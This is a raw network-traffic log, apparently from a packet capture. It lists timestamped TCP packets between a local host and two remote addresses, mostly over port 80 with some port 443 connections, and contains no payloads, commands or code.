Nov 23, 2024 05:02:53.307861090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.307924986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.307964087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.308758974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.308819056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.308861017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.309156895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.309706926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.309753895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.309813023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.309850931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.310669899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.310726881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.310774088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.310818911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.311625004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.311727047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.311755896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.311788082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.312577009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.312675953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.312695980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.312736034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.313524961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.313577890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.313635111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.313680887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.314476013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.314532995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.314574003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.314659119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.315439939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.315491915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.315552950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.315619946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.316382885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.316428900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.316484928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.316597939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.317353010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.317394972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.317466021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.317506075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.318286896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.318336010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.318341017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.318397045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.319267988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.319319010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.319350004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.319432974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.320204973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.320259094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.320385933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.320430994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.321150064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.321196079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.321232080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.321283102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.322184086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.322199106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.322232008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.322252989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.323061943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.323106050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.323132992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.323157072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.323993921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.324107885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.324153900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.324965000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.325010061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.325069904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.325112104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.325910091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.325953960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.325994968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.326040030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.326889038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.326934099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.327009916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.327049971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.327862978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.327925920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.327934027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.328017950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.328788042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.328854084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.328993082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.329040051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.329746008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.329842091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.329893112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.330682993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.330684900 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.330744028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.330784082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.330818892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.331635952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.331701040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.331722021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.331778049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.332214117 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.332272053 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.332329035 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.332346916 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.332591057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.332669020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.332701921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.332741976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.332842112 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.332861900 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.332940102 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.332971096 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.333174944 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.333250999 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.333487034 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.333542109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.333591938 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.333594084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.333657026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.333789110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.333843946 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.333887100 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.333890915 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.334106922 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.334511042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.334574938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.334609985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.334742069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.335448980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.335494995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.335527897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.335588932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.335762978 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.335762978 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.335781097 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.335832119 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.336343050 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.336371899 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.336407900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.336456060 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.336488962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.336518049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.336556911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.337374926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.337419033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.337475061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.337518930 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.337532043 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.337539911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.337735891 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.337748051 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.338064909 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.338155985 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.338224888 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.338316917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.338408947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.338490009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.338521957 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.338532925 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.338543892 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.338650942 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.339274883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.339323044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.339381933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.339423895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.340210915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.340253115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.340315104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.340959072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.341185093 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.341188908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.341224909 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.341274023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.341290951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.341332912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.342127085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.342170000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.342221975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.342298031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.343086004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.343148947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.343175888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.343218088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.344054937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.344129086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.344160080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.344202042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.344986916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.345055103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.345083952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.345125914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.345941067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.346005917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.346035004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.346163988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.346923113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.346961975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.346986055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.347002029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.347816944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.347951889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.493799925 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.493827105 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.493876934 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.493894100 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.495125055 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.495157957 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.495294094 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.495301008 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.495358944 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.499389887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.499505997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.499582052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.499850988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.500004053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.500061035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.500848055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.500901937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.500950098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.500992060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.501765966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.501811028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.501868963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.501923084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.502701044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.502763033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.502796888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.502837896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.503654003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.503714085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.503755093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.503959894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.504610062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.504684925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.504719019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.504759073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.505565882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.505609989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.505667925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.505706072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.506513119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.506560087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.506588936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.506629944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.507488966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.507534981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.507575035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.507651091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.508430004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.508485079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.508547068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.508586884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.509386063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.509445906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.509521961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.509576082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.510329962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.510390043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.510430098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.510472059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.511320114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.511380911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.511420012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.511583090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522315979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522372961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522386074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522402048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522435904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522444963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522450924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522469044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522483110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522489071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522509098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522517920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522530079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522574902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522591114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522605896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522633076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522664070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522664070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522680044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522696972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522703886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522713900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522722006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522728920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522731066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522747993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522748947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522780895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522799969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522830009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522845984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522862911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522881985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522883892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522900105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522916079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522917032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522923946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522937059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522948027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522963047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.522964954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.522986889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.523001909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534378052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534416914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534434080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534434080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534454107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534470081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534482002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534528017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534528971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534544945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534560919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534590960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534590960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534590960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534596920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534612894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534627914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534650087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534658909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534666061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534683943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534683943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534709930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534710884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534725904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534730911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534745932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534761906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534764051 CET	49819	80	192.168.2.6	185.215.113.206
